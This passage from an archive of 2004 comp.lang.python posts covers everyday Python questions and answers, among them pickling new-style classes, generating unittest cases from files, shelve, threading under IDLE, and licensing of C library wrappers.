     setattr(self, method_name, getattr(self.metadata, method_name))
AttributeError: DistributionMetadata instance has no attribute 'get___doc__'

I'm still a newbie to Linux and mostly a newbie to Python (5 months 
experience).  I have a general idea of what this error means, but I have 
no idea how to go about fixing it.  I would appreciate any solutions 
people could offer.

Sincerely,
Derek





From rowen at cesmail.net  Tue Feb 24 19:19:29 2004
From: rowen at cesmail.net (Russell E. Owen)
Date: Tue, 24 Feb 2004 16:19:29 -0800
Subject: [Ann] Astronomical Python page has moved
Message-ID: <rowen-B55735.16192924022004@nntp6.u.washington.edu>

The Astronomical Python (AstroPy) page has moved to <http://www.astro.washington.edu/owen/AstroPy.html> and the links on the page have been updated. I'm maintaining it now and 
would appreciate updates as people have them.

-- Russell

Russell Owen
University of Washington


From pruebauno at latinmail.com  Sat Feb 21 23:14:51 2004
From: pruebauno at latinmail.com (nnes)
Date: 21 Feb 2004 20:14:51 -0800
Subject: Some source code
Message-ID: <d8778a53.0402212014.7a292318@posting.google.com>

For those that like to read source code, or just wondered how a C programmer
would use Python I post some code written by a friend which I pestered to at
least try Python out. He did not seem too impressed after the exercise, but said
it was not that painfull :-).

It might be of interest to those wondering how python is being used and misused
:-). I guess teachers using Python to teach can confirm or deny the benefits of
certain language decisions daily by looking at the source code of their
students.

Anyway here we go:

#
# Reading File and loading it

#Hashing a string with a specified separator
# and storing results in an Array
#
def HashString(str,sep):
	lim = len(str)
	array=[]
	indexes=[]
	cptr =0
	for i in range(lim):
		if str[i]== sep and i < lim: 
			indexes.append(i)
			cptr+=1
		
	lim = len(indexes)
	cptr =j=0
	for i in range(lim-1):
		if(str[j] == sep and j ==0) :
			j+=1
			cptr+=1
		array.append(str[j:indexes[cptr]])
		j=indexes[cptr]+1 
		cptr+=1

	return array;
#
#	End of HashString Function
#

File= open('input.txt','r')
content=[]
content = File.readlines()
sum =0
Result = []
OFile = open('output.txt','w')
for i in range(len(content)):
	result = HashString(content[i],'\"')
	cptr=sum = 0
	for j in range(len(result)):
		sum += int(result[cptr])
		if(j>0):
			OFile.write(",")
		OFile.write("\""+result[cptr]+"\"")
		cptr+=2
		if cptr >= len(result) : break;
	OFile.write(",\""+sum.__str__()+"\"\n")
	result.append(sum)
	print result
#
# Creating Ouput file
#
OFile.close();
File.close();
print "\n....\tdone view output in \'output.txt\'.......\n"


#######################################

Roughly does this:

file('output.txt','w').writelines(['%s,"%s"\n' % (line[:-1],
    sum(map(int,line[1:-2].split('","')))) for line in
    file('input.txt')])


From tismer at stackless.com  Mon Feb 23 10:28:39 2004
From: tismer at stackless.com (Christian Tismer)
Date: Mon, 23 Feb 2004 16:28:39 +0100
Subject: content type of the uploaded file
In-Reply-To: <f046efac.0402230651.44f176d0@posting.google.com>
References: <f046efac.0402230651.44f176d0@posting.google.com>
Message-ID: <403A1C27.30104@stackless.com>

ketulp_baroda at yahoo.com wrote:

> Hi
> I want to determine the content type of uploaded file.
> File was uploaded by using <input type=file>.
> How can I determine the content type?

For uploading files, your form tag should specify the attribute
ENCTYPE="multipart/form-data"
since that makes the browser send mime-encoded files
with all necessary headers, like "Content-Type".
It depends on the package you are using, how to get at this
header information.
If you are using the CGI module, you will interrogate the
FieldStorage item. For further reference,
http://www.python.org/doc/current/lib/node403.html
might help.

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From rainerd at eldwood.com  Sat Feb 21 13:52:28 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Sat, 21 Feb 2004 18:52:28 GMT
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <MNNZb.94648$jk2.445799@attbi_s53>

Gaurav Veda wrote:
> What is the difference between a class and a function in Python ???

Functions and classes are both callable objects.  Calling a function
executes the body of the function; calling a class creates and returns an
instance of the class.

> Waiting for some 'logical' explanation !!!

I'm not sure to explain.  How does the output differ from what you expected?


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From matt at cynetix.co.uk  Fri Feb 13 11:28:45 2004
From: matt at cynetix.co.uk (Matt Whiteley)
Date: Fri, 13 Feb 2004 16:28:45 -0000
Subject: Import no longer works in Python 2.3.x
References: <w6wWb.1$MQ1.0@news-binary.blueyonder.co.uk>
	<8cf2994e.0402120714.1b0e6ff0@posting.google.com>
Message-ID: <OW6Xb.5781$ul3.4447@news-binary.blueyonder.co.uk>

Hmm, didn't want to have to hard code paths really. I can't understand
what's been broke all of a sudden. I know there's a fair bit of thought gone
into the os.path logic but I can't seem to find anything that relates
directly to my problem.

Thanks Anyway,
Matt

"Paul Clinch" <pclinch at internet-glue.co.uk> wrote in message
news:8cf2994e.0402120714.1b0e6ff0 at posting.google.com...
> Interesting, I note that there has been some code revision around the
> import. See the whats new in python 2.3, Importing Modules from Zip
> Archives and New Import Hooks.
>
> If a full pathname is used, eg.
> /home/paul/projects/test/customModules
> the code works as before. This would definitely be safer since the
> current directory may change in the future, causing the import to fail
> anyway.
>
> Regards, Paul Clinch




From dave at pythonapocrypha.com  Tue Feb 10 17:05:40 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 10 Feb 2004 15:05:40 -0700
Subject: Pickling new-style classes w/ getinitargs
References: <0f7d01c3f021$6fe743c0$6401fea9@YODA>
Message-ID: <0f8901c3f022$058914d0$6401fea9@YODA>

I wrote:
> What is the correct way to pickle a new-style class that makes use of
> __getinitargs__? In the test below, __getinitargs__ gets called only on
> old-style classes (pickle appears to call __getinitargs__ only if the object
> type is InstanceType, but new-style class instances have a type of the the
> class). Google didn't turn up anything obvious; I'm starting my search on
> SourceForge but it's extremely slow at the moment.

Well, SourceForge woke up and told me this:

[ 873246 ] pickle: __getinitargs__ not used for new-style objects

Thanks anyway,
Dave



From tweedgeezer at hotmail.com  Tue Feb 17 13:44:54 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 17 Feb 2004 10:44:54 -0800
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
Message-ID: <698f09f8.0402171044.64640bc4@posting.google.com>

Wayne Folta <wfolta at netmail.to> wrote in message news:<mailman.55.1076984559.31398.python-list at python.org>...
> 2. It is a very general construct, which might be what is called for. 
> But I wonder if most of the time it would be used to accomplish 
> something like:
> 
> while 1:
>      line = sys.stdin.readline()
>      if line == "\n":
>          break

If you're concerned about the "beauty" of such code, then the
appropriate way to rewrite it is with a custom iterator/generator.

def untilBlankLine(fh):
    line = fh.readline()
    while line != '\n':
        yield line
        line = fh.readline()

And then you can use it like so:

for line in untilBlankLine(sys.stdin):
    doSomething(line)

And remember, you can also create custom iterators with the builtin
iter:

for line in iter(sys.stdin.next, '\n'):
    doSomething(line)

So I really see no need for any more complex looping construct.  The
further we get from encouraging the use of while instead of for, the
better.

Jeremy


From __peter__ at web.de  Wed Feb 18 03:22:11 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 09:22:11 +0100
Subject: Unit-testing single function with large number of different
	inputs
References: <87ptcdsyyt.fsf@titan.staselog.com>
Message-ID: <c0v7bk$pjv$05$1@news.t-online.com>

Edvard Majakari wrote:

> The problem I described above shows probably one of the best reasons why
> each test method should test only one (type of) thing, but in my special
> case I don't find that appropriate due to aforementioned reasons. Any
> suggestions? I was wondering about creating test methods dynamically
> according to the files found in the test directories (which would solve
> all the problems), but I find it a tad too complex way of solving the
> problem.

I think dynamically creating test cases is the way to go. I would subclass
TestCase to test one file and then for every file put an instance of
MyTestCase into a TestSuite. For instance:

import unittest, os

# shared implementation
class Base(unittest.TestCase):
    def __init__(self, filename):
        unittest.TestCase.__init__(self)
        self.filename = filename

# some pointless tests
class Good1(Base):
    def runTest(self):
        self.assertEqual(self.filename, self.filename.lower())

class Good2(Base):
    def runTest(self):
        self.assertEqual(self.filename.endswith(".py"), True)

class Bad(Base):
    def runTest(self):
        self.assertEqual(self.filename.endswith(".pyc"), True)

# build a test suite with (all applicable test cases) 
# x (every file in a folder, optionally including subfolders)
def makeTests(classes, folder, recursive=False):
    suite = unittest.TestSuite()
    for path, folders, files in os.walk(folder):
        for fn in files:
            for cls in classes:
                suite.addTest(cls(os.path.join(path, fn)))
        if not recursive: break
    return suite

# build the main test suite with subsuites for every folder
def makeSuite():
    suite = unittest.TestSuite()
    goodfolder = "/usr/local/lib/python2.3"
    badfolder = "/usr/local/lib/python2.3"
    suite.addTest(makeTests((Good1, Good2), goodfolder))
    suite.addTest(makeTests((Bad,), badfolder))
    return suite

if __name__ == "__main__":
    unittest.main(defaultTest="makeSuite")

Peter


From lbates at swamisoft.com  Fri Feb 13 15:21:26 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Fri, 13 Feb 2004 14:21:26 -0600
Subject: way to remove all non-ascii characters from a file?
References: <defa238f.0402131112.436997c1@posting.google.com>
Message-ID: <0tSdnViOCphbrLDdRVn-vA@comcast.com>

Something simple like following will work for files
that fit in memory:

def onlyascii(char):
    if ord(char) < 48 or ord(char) > 127: return ''
    else: return char

f=open('filename.ext','r')
data=f.read()
f.close()
filtered_data=filter(onlyascii, data)

For larger files you will need to loop and read
the data in chunks.

-Larry Bates
----------------------------
"omission9" <rus20376 at salemstate.edu> wrote in message
news:defa238f.0402131112.436997c1 at posting.google.com...
> I have a text file which contains the occasional non-ascii charcter.
> What is the best way to remove all of these in python?




From matthewleslie at hotmail.com  Fri Feb  6 11:40:32 2004
From: matthewleslie at hotmail.com (Matt Leslie)
Date: Fri, 06 Feb 2004 10:40:32 -0600
Subject: Theading problems in IDLE
In-Reply-To: <mailman.1226.1075948501.12720.python-list@python.org>
References: <mailman.1226.1075948501.12720.python-list@python.org>
Message-ID: <c00fum$ivr$1@info4.fnal.gov>

Nir of the Waves wrote:
> I noticed that in some circumstances IDLE does not behave right with 
> multiple threaded scripts.
> 
>  
> 
> Is this problem known?
> 
> When exactly is this problem triggered?
> 
> How do I avoid it?
> 
> How do I work around it while still using threads?

I've noticed that the print statement is not threadsafe
under IDLE. I either write output to a file, or run from the
command line to avoid this.

Matt


From jimred at xms.ms  Thu Feb 19 09:23:32 2004
From: jimred at xms.ms (Jim Red)
Date: Thu, 19 Feb 2004 15:23:32 +0100
Subject: multiply utple or list
Message-ID: <4034c694$0$706$5402220f@news.sunrise.ch>

what is the best way to multiply a tuple or list by a given value

exp.
multiply (4, 5) by 2 => (8, 10)

cheers

jr


From opengeometry at yahoo.ca  Tue Feb  3 06:29:10 2004
From: opengeometry at yahoo.ca (William Park)
Date: 3 Feb 2004 11:29:10 GMT
Subject: embedding  python
References: <mailman.1130.1075732106.12720.python-list@python.org>
	<bvng7s$uljga$1@ID-99293.news.uni-berlin.de>
	<mailman.1158.1075799212.12720.python-list@python.org>
Message-ID: <bvo0m5$u60rm$1@ID-99293.news.uni-berlin.de>

Anand K Rayudu <anand at easi.soft.net> wrote:
> >Did you compile with '-lm' ?
> >Eg:
> >    http://home.eol.ca/~parkw/index.html
> 
> Thanks for the help, I compiled with -lm , It did not work!!
> Probably i need to re-compile python with -DEMBED_PYTHON option as you 
> suggested.

No.  '-DEMBED_PYTHON' is just for my patch, which embeds Python in Bash
shell.  It's one example of embedding and compiling.  Since I can do
math, there must be something I'm doing that you're not. :-)

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 


From merkosh at hadiko.de  Sun Feb  1 09:11:06 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sun, 01 Feb 2004 15:11:06 +0100
Subject: howto prevent class variable assignment
Message-ID: <bvj1do$1av$1@news.rz.uni-karlsruhe.de>

Hi,

when an instance variable of a class is not found, python tries to fall back
to the class variable. 
I want to use that feature to provide default settings for a class which can
be overwritten by assignments to variables with the same name.

This quickly becomes difficult to handle when you get confused wether your
assignment was made to a class variable or an instance variable. I
therefore want to prevent write access to class variables. How do I do
that?

Here some example code:

>>> class A(object):
...   cInt = 5
...   cList = [1,2,3]
...   def __init__(self):
...     self.cInt = 6
... 
>>> a = A()
>>> a.cInt
6
>>> a.__class__.cInt
5

>>> a.cList[2] = 5   #<-- prevent this
>>> a.cList
[1, 2, 5]

>>> a.cInt = 42       #<-- allow this
>>> a.cInt
42
>>> a.__class__.cInt
5

>>>A.cInt = 10       #<-- prevent this

I tried to overwrite __setattr__(self, name, value) method, but this is only
called if I call it on an instance, i.e.

>>> a.cInt = 5

but not when I call it on the class:

>>> A.cInt = 10


Can anyone give me some pointers or suggentions how to handle this?

Thanks
Uwe


From ketulp_baroda at yahoo.com  Thu Feb 26 01:02:17 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 25 Feb 2004 22:02:17 -0800
Subject: error in inserting a long blob data
References: <f046efac.0402242139.14fd27fc@posting.google.com>
	<c1ht2m$u7c$01$2@news.t-online.com>
Message-ID: <f046efac.0402252202.3e79d90c@posting.google.com>

"Diez B. Roggisch" <deets_noospaam at web.de> wrote in message news:<c1ht2m$u7c$01$2 at news.t-online.com>...
> > 
> > values['attachmentpath'] contains the file data.
> > The data type of the file data is LONGBLOB in MySql.
> > I am not getting why it works for some file but not for others.
> 
> Do you have single quotes in your attachment - these would confuse the mysql
> parser. I don't remember how to quote them for mysql (in oracle its '' for
> a single quote) - but thats in the manuals.

How to escape such sequences in python


From peter at engcorp.com  Wed Feb 18 16:26:25 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 16:26:25 -0500
Subject: Python license - again
References: <mailman.28.1077136495.27104.python-list@python.org>
Message-ID: <4033D881.91BB4413@engcorp.com>

Daniel Carrera wrote:
> 
> After a second look I realized that I missed a relevant footnote:
> 
> (1) GPL-compatible doesn't mean that we're distributing Python under
>     the GPL.  All Python licenses, unlike the GPL, let you distribute
>     a modified version without making your changes open source.  The
>     GPL-compatible licenses make it possible to combine Python with
>     other software that is released under the GPL; the others don't.
> 
> So this means that Python is a BSD-style license, correct?

In the sense that I'm guessing you mean, yes.  I'm not a lawyer either,
however, and it's generally assumed that anyone asking questions like
this in a public forum either hasn't got a clue, or knows enough to
know that not knowing enough can be a dangerous thing.  I'll assume
the latter for you. :-)

I think of the Python license as a much wordier BSD or MIT license with 
historical baggage.

-Peter


From pecora at anvil.nrl.navy.mil  Tue Feb 17 13:15:08 2004
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Feb 2004 13:15:08 -0500
Subject: ANN: matplotlib-0.50 - python plots
References: <mailman.76.1077040599.31398.python-list@python.org>
Message-ID: <pecora-38122F.13150817022004@ra.nrl.navy.mil>

I checked the web site and maybe I missed it, but I didn't see a list of 
platforms supported although Red Hat and Windows were mentioned in 
backend requirements.  In particular, is the Macintosh (OS X) supported?

Thanks.

-- 
-- Lou Pecora
     My views are my own.


From maxm at mxm.dk  Mon Feb  2 06:02:24 2004
From: maxm at mxm.dk (Max M)
Date: Mon, 02 Feb 2004 12:02:24 +0100
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <wIoTb.740$VP1.583556@newshog.newsread.com>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<401ce2b0$0$282$edfadb0f@dread12.news.tele.dk>
	<7xfzdus742.fsf@ruckus.brouhaha.com>
	<401df685$0$248$edfadb0f@dread12.news.tele.dk>
	<wIoTb.740$VP1.583556@newshog.newsread.com>
Message-ID: <401E2E40.90204@mxm.dk>

Leif K-Brooks wrote:

> Max M wrote:
> 
>> Or even faster if "Hi <username>" was two gifs that could be loaded.
> 
> Please, don't lose accessibility for some petty speed gain.


I was talking about how to optimize for speed, and how designs can be 
changed for the purpose of speed.

When you do that, somethings got to give.

Sometimes you don't have the technological possibility to do it right. 
Then a "hack" like that can be in order.


regards Max M


From mcfletch at rogers.com  Sun Feb 29 00:09:14 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sun, 29 Feb 2004 00:09:14 -0500
Subject: Licensing of wrappers around C/C++ code under more restrictive
 licensing.
In-Reply-To: <dc6f5c99.0402281637.71f8a571@posting.google.com>
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>	<du7ishrmqsv.fsf@amadeus.cc.tut.fi>
	<dc6f5c99.0402281637.71f8a571@posting.google.com>
Message-ID: <404173FA.3040503@rogers.com>

Graham Dumpleton wrote:
...

>I would really like to hear other peoples ideas about how to address
>licensing where the Python code is actually a wrapper around a C/C++
>library under a QPL or GPL type license. Some people seem to believe
>that the use of the scripting language implies a line is drawn when
>people go to use it and thus what the library underneath is licensed
>under doesn't matter. Linking of the library still occurs though, so I
>don't believe this is necessarily the case.
>  
>
(I'm not a lawyer, just someone who seems to get lectured at about 
licenses a lot :) ).

If I understand correctly, copyright law does not directly grant one the 
right to restrict distribution of *someone else's* copyrighted works 
merely because they refer to one's own work.  So, if your distributable 
does not include any code created by someone else, then the other party 
has no right to restrict its distribution based on copyright.  So, if 
your package connects to anything installed on the system which happens 
to implement a given API but does not include any GPL code itself, you 
can likely simply point to the fact that you haven't included any of the 
GPL-licensed code and be fine.

The FSF peoples seem to have a different interpretation, as, last I 
heard, they suggest that software that links to any GPL software, even 
at run-time constitutes an infringement (regardless of your not having 
distributed the GPL code yourself, and the end-user having a perfectly 
valid license to link the two for personal use).  Depending on a Free 
Software Foundation owned library (i.e. one to which the author has 
assigned their copyright to the FSF)  in this type of scenario would 
likely then be a little risky.

The question becomes murkier when you start to introduce, for instance, 
the use of header files from a GPL program to create a SWIG .i file.  
There are apparently cases where the use of headers for allowing 
interoperability with commercial software was considered a fair-use 
infringement (i.e. it is technically a copyright violation, but is 
likely to be considered valid should it be brought before a court).  
Apparently other cases suggest that the necessary functional 
specification isn't actually copyrightable.  The question comes down to 
what is expression, and what is merely mechanics.

>So, how can one cast the licensing so as to provide an exception that
>provided the underlying C/C++ library isn't changed, that the Python
>wrappers can be used under a less restrictive license. I have control of
>the licensing on both so can stipulate exceptions, but what is the
>best way of doing it?
>  
>
Sounds like what you really want is the LGPL for the C/C++ library?  
That would keep the GPL-like restrictions for the C/C++ library, but 
allow linking it into proprietary Python software.  It would *not* 
however restrict based on whether it's a Python or C/C++ application 
doing the linking.  It would also explicitly *not* prevent changes to 
the C/C++ library (the whole point of Open Source licenses, particularly 
GPL and LGPL being to allow the user to fix bugs and change operation of 
the software).

You could add a clause to your license doing something silly like 
requiring that a Python DLL be linked into the process to enable the 
less restrictive license, but doing that means that you've suddenly got 
a non-standard license, which requires everyone to hire a lawyer to 
explain it to them, check for incompatibilities with other software, ad 
nauseam.

Of course, the point of the GPL license (among other things) is to 
strongly encourage others to use the license in order to give to users 
access to ever-more GPL'd code.  The so-called "viral" effects are 
intentional.  If I understand correctly, the QPL is basically a dual 
license encouraging you to either pay Trolltech or GPL your software.  
Finding ways *around* these licenses (I'm assuming that the QPL is being 
inherited by including Qt or the like) might be considered rude at the 
least if the license involves code which is not your own.

So, my suggestion would be (assuming this is possible (you own *all* 
copyrights involved)):

    * Ditch QPL, license the C/C++ library as LGPL, license the Python
      library as BSD/MIT or LGPL.
    * Distribute the Python wrapper (with none of the C/C++ project's
      code) as a separate project.
          o Anyone who uses the C/C++ library is still bound by GPL rules.
          o Anyone who combines and redistributes it will be bound by
            the GPL, so they can't bundle it with proprietary code.
          o The more permissive MIT/BSD license is GPL compatible, so
            the wrapper itself can be bundled with the GPL code if desired.
          o The wrapper can be bundled with the proprietary code so that
            the user can simply install the C/C++ project using it's
            installer and the proprietary code can find it at run time.
          o Users must combine the system with any proprietary code
            themselves.  This can be fairly inconvenient.
    * Descend into a morass of trying to legally define what it means to
      "use" the Python-based interface and try to integrate that into
      some Open Source license.
          o Is someone allowed to use both interfaces under the less
            restrictive license, or only the Python interface?
          o Is someone allowed to call the Python interpreter from C/C++
            solely to access the functionality?
          o Figure out how to cripple the "modify as you wish" focus of
            most of these licenses in the case of use of the Python
            interface.
    * Build your own license using your own high-priced lawyers :) .

The thing, IMO, to keep in mind, is that creating yet another Open 
Source license is probably *not* a good idea, despite the fact that it 
acts as a make-work project for copyright attorneys, who are obviously 
needing more BMWs these days.  Choosing one of the existing well 
understood and fairly clear licenses (not, e.g. the PSF Python license, 
which is an agglomeration of other licenses), such as MIT, BSD, GPL, or 
LGPL is probably the best approach for minimising headache and effort.

Good luck,
Mike (again, so not a lawyer it's funny)

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From mwh at python.net  Sat Feb 28 08:09:27 2004
From: mwh at python.net (Michael Hudson)
Date: Sat, 28 Feb 2004 13:09:27 GMT
Subject: When things go badly in PyGC_Collect()
References: <403e2bfd.9144015@news.t-online.de> <403f4f86_1@127.0.0.1>
	<mailman.202.1077899652.8594.python-list@python.org>
Message-ID: <m3u11b73lk.fsf@pc150.maths.bris.ac.uk>

Paul Miller <paul at fxtech.com> writes:

> My real program has all sorts of custom C types, dictionary mangles,
> etc. I'm looking for clues as to what kinds of programming problems
> with my custom types could cause PyGC_Collect to go nuts.

Unfortunately, almost any problem can cause PyGC_Collect to go nuts!
It rarely turns out to be a problem with the cycle collector itself.

A debug build of Python is always a good thing to try in these
circumstances.

Cheers,
mwh

-- 
  This song is for anyone ... fuck it.  Shut up and listen.
                         -- Eminem, "The Way I Am"


From cygnus at cprogrammer.org  Thu Feb  5 15:58:28 2004
From: cygnus at cprogrammer.org (Jonathan Daugherty)
Date: Thu, 5 Feb 2004 15:58:28 -0500
Subject: split a string and build tuple
In-Reply-To: <4022acc0$0$2959$626a54ce@news.free.fr>
References: <4022acc0$0$2959$626a54ce@news.free.fr>
Message-ID: <20040205205828.GA21949@mail.theserver.ath.cx>

# having a string space separated like : s = "w1 w2 w3 w4 w5 w6 w7 w8..."
# how to get : l = (('w1', 'w2', 'w3'), ('w4', 'w5', 'w6'), ('w7', 'w8', ...),
# ...) ?
# (a kind of splitting and grouping in an elegant way)

>>> import string
>>> s = "w1 w2 w3 w4 w5 w6 w7 w8"
>>> x = string.split(s) 
>>> x
['w1', 'w2', 'w3', 'w4', 'w5', 'w6', 'w7', 'w8']
>>> for index in range(0, len(x), 3):
...     print x[index:index + 3]
... 
['w1', 'w2', 'w3']
['w4', 'w5', 'w6']
['w7', 'w8']

-- 

  Jonathan Daugherty
  http://www.cprogrammer.org

  "It's a book about a Spanish guy called Manual, you should read it."
                                                            -- Dilbert



From jcosby at nospam.net  Mon Feb 23 13:34:19 2004
From: jcosby at nospam.net (Jon Cosby)
Date: Mon, 23 Feb 2004 18:34:19 GMT
Subject: Python scripts in IIS
Message-ID: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>

I'm having trouble executing Python scripts in IIS. I have the error message
"%1 is not a valid Win32 application". Anyone know what this is about?

Jon Cosby




From paul at prescod.net  Fri Feb 13 15:03:28 2004
From: paul at prescod.net (Paul Prescod)
Date: Fri, 13 Feb 2004 12:03:28 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <00d101c3f26a$5f337990$0000fea9@dell8200>
References: <00d101c3f26a$5f337990$0000fea9@dell8200>
Message-ID: <402D2D90.2050201@prescod.net>

Brian Quinlan wrote:

>>Have you ever seen real code like that? 
> 
> I've never seen any non-ASCII code in any language. 

So other programming languages make non-ASCII characters possible but 
English-speakers do not end up paying any price. So what's the problem?

Panic in the Python world strikes me as just FUD.

>>If not, what are you worried about? That C# programmers are reasonable 
>>but Python programmers are devious and will go to extra effort to make
>>your life difficult?
> 
> 
> I don't think that there is any reasonable usage of syntax like that, so why
> have it in the language?

We are getting a little off track. Nobody really proposed to borrow C#'s 
identifier syntax whole hog (i.e have a keyword-escaping mechanism). I 
proposed to learn from C# and Java. They allow non-ASCII keywords and 
nobody seems to be hurt by it.

As far as "reasonable usage" of non-English identifiers. Non-English 
speakers tell me that this is reasonable and I trust them to understand 
their situation better than I do!

But as an aside, the idea of allowing keywords to also be identifiers 
(with appropriate escaping syntax) is not a bad ones.

Let's say you are calling an XML-RPC server that uses a method name that 
happens to also be a Python keyword (e.g. "yield"). Of course your 
XML-RPC API could have a specific way of working around this but knowing 
the way the Python world works, it will use a different convention than 
your COM API which will use a different convention than your SOAP API 
which will use a different convention than your PyObjectiveC API, etc. 
Why not have the language standardize?

  Paul Prescod





From dkuhlman at rexx.com  Wed Feb 11 14:24:05 2004
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Wed, 11 Feb 2004 11:24:05 -0800
Subject: How to avoid "f.close" (no parens) bug?
References: <mailman.1474.1076517229.12720.python-list@python.org>
Message-ID: <c0dvg2$165ub5$1@ID-139865.news.uni-berlin.de>

Batista, Facundo wrote:

[snip]
> 
> But, what's the point to have a...
> 
> t.spanish_inquisition
> 
> ...alone?

Here is an example:

    def test():
        myobject = MyClass()
        clean = myobject.my_really_long_method_name
        clean(a)
        clean(b)
        clean(c)
        clean(d)
        o
        o
        o

Basically, this is a poor-person's "with" statement, as in Pascal.
We've had people ask for that before. It can be used to save
typing, but also could make future changes easier.

Another example:

    def test(meth):
        o
        o
        o
        meth(a)
        o
        o
        o

    myobject = MyClass()
    test(myobject.some_method)
    test(myobject.some_other_method)

In this example, we've used a method as a parameter.

Dave

-- 
http://www.rexx.com/~dkuhlman
dkuhlman at rexx.com


From williamichang at hotmail.com  Fri Feb 13 03:11:07 2004
From: williamichang at hotmail.com (William Chang)
Date: 13 Feb 2004 00:11:07 -0800
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
	<zeWdnXYoFaHsSbTd4p2dnA@comcast.com>
	<c0du57$42v$1@panix3.panix.com>
Message-ID: <65779ce6.0402130011.31af05ab@posting.google.com>

aahz at pythoncraft.com (Aahz) wrote:
> Note that while you-know-who makes extensive use of Python, I don't
> think they're using it for spidering/searching.  I do have some
> background writing a spider in Python, using Verity's engine for
> indexing/retrieval, but we were using threading rather than
> asyncore-style operations.

Interesting, did you try maxing out the number of threads/connections?
On an UltraSparc with hardware thread/lwp support, a thousand threads
can co-exist reliably, at least for computations and disk I/O.  Linux
is another matter entirely.

--William


From mcfletch at rogers.com  Sun Feb  8 23:03:28 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sun, 08 Feb 2004 23:03:28 -0500
Subject: Writing Windows performance counters
In-Reply-To: <pan.2004.02.09.02.53.54.338788@spamfree.optushome.com.au>
References: <pan.2004.02.09.02.53.54.338788@spamfree.optushome.com.au>
Message-ID: <40270690.308@rogers.com>

If you've installed Mark's win32all packages, look in your win32/lib 
directory for win32pdhutil and win32pdhquery, as well as 
win32/scripts/killProcName.py .

HTH,
Mike

David Mitchell wrote:
...

>Could someone point me towards some sample code that creates performance
>counters and updates them?  I suspect it's possible using perfmondata.dll
>that comes with win32all, but can't begin to guess how to get started.
>  
>
...
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From nomail at nomail.net  Thu Feb  5 15:12:30 2004
From: nomail at nomail.net (BG)
Date: Thu, 05 Feb 2004 21:12:30 +0100
Subject: Where does shelve look for unshelved class definitions?
In-Reply-To: <ef85f4c5.0402031704.580feab1@posting.google.com>
References: <ef85f4c5.0402031704.580feab1@posting.google.com>
Message-ID: <4022a3cc$0$3251$58c7af7e@news.kabelfoon.nl>

This looks like a problem I had recently. Please take a look at this 
news thread:

http://groups.google.com/groups?hl=nl&lr=&ie=UTF-8&oe=UTF-8&threadm=401d7d15%240%243257%2458c7af7e%40news.kabelfoon.nl&rnum=1&prev=/groups%3Fq%3Dunpickling%2Bbsddb%2Bgroup:comp.lang.python.*%26hl%3Dnl%26lr%3D%26ie%3DUTF-8%26oe%3DUTF-8%26group%3Dcomp.lang.python.*%26selm%3D401d7d15%25240%25243257%252458c7af7e%2540news.kabelfoon.nl%26rnum%3D1

I hope this link works ;-)

Berry.


Stuart Hungerford wrote:

> Hi all,
> 
> I have a python module foo.py which contains:
> 
>    class A(object): ...
>    class B(object): ...
> 
> As well as a class that uses shelve (which in turn is
> using dumbdbm):
> 
>    class foo(object): ...
>       // uses a shelve internally
> 
> The methods of foo shelve and restore A and B instances
> *but* shelve seems to be looking in the wrong places for
> the definitions of A and B when they're "unshelved",
> giving the error:
> 
>    AttributeError: 'module' object has no attribute 'A'
> 
> How can I persuade shelve to look in other namespaces for
> A and B?
> 
> Any advice much appreciated,
> 
> 
> Stu


From edcjones at erols.com  Fri Feb 27 09:12:54 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Fri, 27 Feb 2004 09:12:54 -0500
Subject: Convert Python grammar specs to ANTLR
Message-ID: <403f516d$0$3076$61fed72c@news.rcn.com>

Terence Parr, the inventer of ANTLR, gave his students a lab exercise:

"They will take the python BNF specs from the distribution and the
website (parser and lexer) and build a translator that generates an
equivalent ANTLR spec."

See "http://groups.yahoo.com/group/antlr-interest/message/10903".


From borg at swirve.com  Sat Feb  7 00:43:40 2004
From: borg at swirve.com (Adrian B.)
Date: 6 Feb 2004 21:43:40 -0800
Subject: Does shelve use cPickle or Pickle?
Message-ID: <7ed8f64d.0402062143.57a10f85@posting.google.com>

Newbie question; does shelve use cPickle or Pickle?  Can it be specified?

thanks


From jcarlson at nospam.uci.edu  Fri Feb 20 12:20:00 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 20 Feb 2004 09:20:00 -0800
Subject: Parsing apache log files
In-Reply-To: <t32hg1-u8n.ln1@grendel.myth>
